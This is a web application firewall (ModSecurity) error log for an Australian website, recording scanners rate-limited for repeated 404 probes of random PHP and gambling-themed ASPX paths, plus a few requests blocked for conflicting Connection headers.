[Sun Apr 19 23:48:23.101713 2026] [:error] [pid 15763:tid 15798] [client 20.215.51.14:7059] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/maintura.php"] [unique_id "aeT5R7MXv1Y1THOoxaAgiQAAAgI"]
[Sun Apr 19 23:48:24.711474 2026] [:error] [pid 15693:tid 15716] [client 20.215.51.14:7142] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/maintura.php"] [unique_id "aeT5SMNMD-ccazQlTslo4wAAAVQ"]
[Sun Apr 19 23:48:25.969694 2026] [:error] [pid 47775:tid 47860] [client 20.215.51.14:7094] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/maintura.php"] [unique_id "aeT5Sbmztjlk9tsmoewyAQAAAJE"]
[Sun Apr 19 23:48:26.966916 2026] [:error] [pid 15764:tid 15835] [client 20.215.51.14:7031] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/maintura.php"] [unique_id "aeT5SmLL_sqdSHoVp-RO9gAAAkk"]
[Sun Apr 19 23:48:28.882539 2026] [:error] [pid 15760:tid 15790] [client 20.215.51.14:7066] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lclnqiii.php"] [unique_id "aeT5TPSdD_XHQMJ_ISt8ZgAAAdY"]
[Sun Apr 19 23:48:29.937542 2026] [:error] [pid 15760:tid 15789] [client 20.215.51.14:6941] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lclnqiii.php"] [unique_id "aeT5TfSdD_XHQMJ_ISt8aQAAAdU"]
[Sun Apr 19 23:48:30.678955 2026] [:error] [pid 47772:tid 47810] [client 20.215.51.14:7035] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lclnqiii.php"] [unique_id "aeT5Toc0L16cb4smAz_qSgAAABU"]
[Sun Apr 19 23:48:31.628594 2026] [:error] [pid 47772:tid 47795] [client 20.215.51.14:7088] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lclnqiii.php"] [unique_id "aeT5T4c0L16cb4smAz_qTgAAAAY"]
[Sun Apr 19 23:48:32.525932 2026] [:error] [pid 15760:tid 15780] [client 20.215.51.14:6992] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lp6.php"] [unique_id "aeT5UPSdD_XHQMJ_ISt8cAAAAcw"]
[Sun Apr 19 23:48:33.342589 2026] [:error] [pid 15760:tid 15785] [client 20.215.51.14:6985] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lp6.php"] [unique_id "aeT5UfSdD_XHQMJ_ISt8dQAAAdE"]
[Sun Apr 19 23:48:34.101920 2026] [:error] [pid 47773:tid 47819] [client 20.215.51.14:7049] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lp6.php"] [unique_id "aeT5UuiBHdnCJDuPq9BiFQAAAEM"]
[Sun Apr 19 23:48:35.024522 2026] [:error] [pid 47772:tid 47811] [client 20.215.51.14:7063] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lp6.php"] [unique_id "aeT5U4c0L16cb4smAz_qTwAAABY"]
[Sun Apr 19 23:48:36.561703 2026] [:error] [pid 15694:tid 15741] [client 20.215.51.14:7152] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "aeT5VLimB-jol1fwqAoe0QAAAY8"]
[Sun Apr 19 23:48:37.582387 2026] [:error] [pid 47772:tid 47803] [client 20.215.51.14:7041] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "aeT5VYc0L16cb4smAz_qVgAAAA4"]
[Sun Apr 19 23:48:38.810125 2026] [:error] [pid 47772:tid 47799] [client 20.215.51.14:7144] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "aeT5Voc0L16cb4smAz_qWAAAAAo"]
[Sun Apr 19 23:48:40.088702 2026] [:error] [pid 15763:tid 15805] [client 20.215.51.14:7161] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "aeT5WLMXv1Y1THOoxaAgkAAAAgk"]
[Sun Apr 19 23:48:41.225468 2026] [:error] [pid 15763:tid 15813] [client 20.215.51.14:6944] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uazsl.php"] [unique_id "aeT5WbMXv1Y1THOoxaAgkgAAAhE"]
[Sun Apr 19 23:48:42.076810 2026] [:error] [pid 47775:tid 47867] [client 20.215.51.14:7165] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uazsl.php"] [unique_id "aeT5Wrmztjlk9tsmoewyCgAAAJg"]
[Sun Apr 19 23:48:43.105081 2026] [:error] [pid 47772:tid 47811] [client 20.215.51.14:7101] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uazsl.php"] [unique_id "aeT5W4c0L16cb4smAz_qYQAAABY"]
[Sun Apr 19 23:48:44.085428 2026] [:error] [pid 15765:tid 15864] [client 20.215.51.14:6953] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uazsl.php"] [unique_id "aeT5XPRqinw-W5EwQ74PqAAAAos"]
[Sun Apr 19 23:48:45.261526 2026] [:error] [pid 47773:tid 47825] [client 20.215.51.14:6982] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mjq.php"] [unique_id "aeT5XeiBHdnCJDuPq9BiJAAAAEk"]
[Sun Apr 19 23:48:46.569395 2026] [:error] [pid 15764:tid 15846] [client 20.215.51.14:7000] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mjq.php"] [unique_id "aeT5XmLL_sqdSHoVp-RPDwAAAlQ"]
[Sun Apr 19 23:48:47.789743 2026] [:error] [pid 47772:tid 47810] [client 20.215.51.14:7005] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mjq.php"] [unique_id "aeT5X4c0L16cb4smAz_qaAAAABU"]
[Sun Apr 19 23:48:49.025697 2026] [:error] [pid 15760:tid 15790] [client 20.215.51.14:7027] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mjq.php"] [unique_id "aeT5YfSdD_XHQMJ_ISt8hgAAAdY"]
[Sun Apr 19 23:48:49.849945 2026] [:error] [pid 15764:tid 15851] [client 20.215.51.14:7095] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bypltspd.php"] [unique_id "aeT5YWLL_sqdSHoVp-RPFAAAAlg"]
[Sun Apr 19 23:48:50.968070 2026] [:error] [pid 47772:tid 47811] [client 20.215.51.14:6784] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bypltspd.php"] [unique_id "aeT5Yoc0L16cb4smAz_qbAAAABY"]
[Sun Apr 19 23:48:52.335746 2026] [:error] [pid 15694:tid 15749] [client 20.215.51.14:7096] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bypltspd.php"] [unique_id "aeT5ZLimB-jol1fwqAoe2gAAAZc"]
[Sun Apr 19 23:48:53.441535 2026] [:error] [pid 47772:tid 47794] [client 20.215.51.14:6861] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bypltspd.php"] [unique_id "aeT5ZYc0L16cb4smAz_qcgAAAAU"]
[Sun Apr 19 23:48:54.464121 2026] [:error] [pid 15764:tid 15837] [client 20.215.51.14:7085] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wxfyf.php"] [unique_id "aeT5ZmLL_sqdSHoVp-RPHAAAAks"]
[Sun Apr 19 23:48:55.224129 2026] [:error] [pid 15763:tid 15815] [client 20.215.51.14:7107] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wxfyf.php"] [unique_id "aeT5Z7MXv1Y1THOoxaAgnAAAAhM"]
[Sun Apr 19 23:48:56.016719 2026] [:error] [pid 15760:tid 15785] [client 20.215.51.14:7113] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wxfyf.php"] [unique_id "aeT5aPSdD_XHQMJ_ISt8jgAAAdE"]
[Sun Apr 19 23:48:56.853921 2026] [:error] [pid 15763:tid 15807] [client 20.215.51.14:7138] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wxfyf.php"] [unique_id "aeT5aLMXv1Y1THOoxaAgnwAAAgs"]
[Sun Apr 19 23:48:57.643942 2026] [:error] [pid 15763:tid 15811] [client 20.215.51.14:7011] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ctex1.php"] [unique_id "aeT5abMXv1Y1THOoxaAgoAAAAg8"]
[Mon Apr 20 01:22:16.400626 2026] [:error] [pid 15764:tid 15844] [client 43.157.22.57:44984] [client 43.157.22.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aeUPSGLL_sqdSHoVp-RuNwAAAlI"]
[Mon Apr 20 04:16:36.047282 2026] [:error] [pid 64332:tid 64343] [client 175.6.217.4:42905] [client 175.6.217.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aeU4JMAQ57uMKAVSYEniuQAAAAE"]
[Mon Apr 20 07:50:04.689165 2026] [:error] [pid 64334:tid 64423] [client 43.134.141.244:49154] [client 43.134.141.244] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aeVqLMNh9IxxDqsrPyOyiwAAAJQ"]
[Mon Apr 20 08:47:17.081865 2026] [:error] [pid 47731:tid 47737] [client 51.75.116.156:57642] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aeV3lVOwpc-h7Nzn-iPIEAAAAQQ"]
[Mon Apr 20 08:47:19.580806 2026] [:error] [pid 47731:tid 47749] [client 51.75.116.156:45438] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aeV3l1Owpc-h7Nzn-iPIFAAAARA"]
[Mon Apr 20 08:47:21.909454 2026] [:error] [pid 64332:tid 64359] [client 51.75.116.156:45444] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aeV3mcAQ57uMKAVSYEk44wAAABE"]
[Mon Apr 20 08:47:24.322399 2026] [:error] [pid 64332:tid 64351] [client 51.75.116.156:45456] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aeV3nMAQ57uMKAVSYEk45gAAAAk"]
[Mon Apr 20 08:47:26.737622 2026] [:error] [pid 64332:tid 64360] [client 51.75.116.156:55430] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "aeV3nsAQ57uMKAVSYEk48AAAABI"]
[Mon Apr 20 08:47:29.120873 2026] [:error] [pid 64333:tid 64384] [client 51.75.116.156:55432] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aeV3oXZav9wH8wxMd_ubigAAAEg"]
[Mon Apr 20 08:47:31.585851 2026] [:error] [pid 60072:tid 60078] [client 51.75.116.156:55440] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aeV3o_uj5dzu2v3Qr6G4GwAAAcQ"]
[Mon Apr 20 08:47:34.117621 2026] [:error] [pid 64334:tid 64427] [client 51.75.116.156:55452] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aeV3psNh9IxxDqsrPyPBnAAAAJg"]
[Mon Apr 20 08:47:36.339108 2026] [:error] [pid 64333:tid 64380] [client 51.75.116.156:55464] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "aeV3qHZav9wH8wxMd_ubnQAAAEQ"]
[Mon Apr 20 08:47:38.851081 2026] [:error] [pid 64440:tid 64450] [client 51.75.116.156:53560] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aeV3qtkVUvTgp8p7mrMDIgAAAMc"]
[Mon Apr 20 08:47:41.413659 2026] [:error] [pid 47731:tid 47745] [client 51.75.116.156:53582] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aeV3rVOwpc-h7Nzn-iPIGwAAAQw"]
[Mon Apr 20 08:47:43.795855 2026] [:error] [pid 64334:tid 64414] [client 51.75.116.156:53584] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aeV3r8Nh9IxxDqsrPyPBoAAAAIs"]
[Mon Apr 20 08:47:46.325310 2026] [:error] [pid 60072:tid 60076] [client 51.75.116.156:53598] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aeV3svuj5dzu2v3Qr6G4IgAAAcI"]
[Mon Apr 20 08:47:48.841751 2026] [:error] [pid 64333:tid 64385] [client 51.75.116.156:53202] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aeV3tHZav9wH8wxMd_ubugAAAEk"]
[Mon Apr 20 08:47:51.363577 2026] [:error] [pid 64333:tid 64392] [client 51.75.116.156:53218] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aeV3t3Zav9wH8wxMd_ubxgAAAFA"]
[Mon Apr 20 08:47:53.749667 2026] [:error] [pid 64333:tid 64389] [client 51.75.116.156:53234] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aeV3uXZav9wH8wxMd_ub0AAAAE0"]
[Mon Apr 20 08:47:55.976337 2026] [:error] [pid 64334:tid 64406] [client 51.75.116.156:53250] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aeV3u8Nh9IxxDqsrPyPBrAAAAIM"]
[Mon Apr 20 08:47:58.510279 2026] [:error] [pid 64334:tid 64408] [client 51.75.116.156:49958] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aeV3vsNh9IxxDqsrPyPBsAAAAIU"]
